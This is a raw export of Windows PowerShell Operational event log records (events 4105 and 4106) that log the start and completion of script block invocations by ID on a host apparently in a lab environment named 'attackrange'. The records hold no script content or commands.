OpCode=On create calls
RecordNumber=2038173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038169
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038168
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038167
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038166
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038150
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038149
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038144
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038143
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
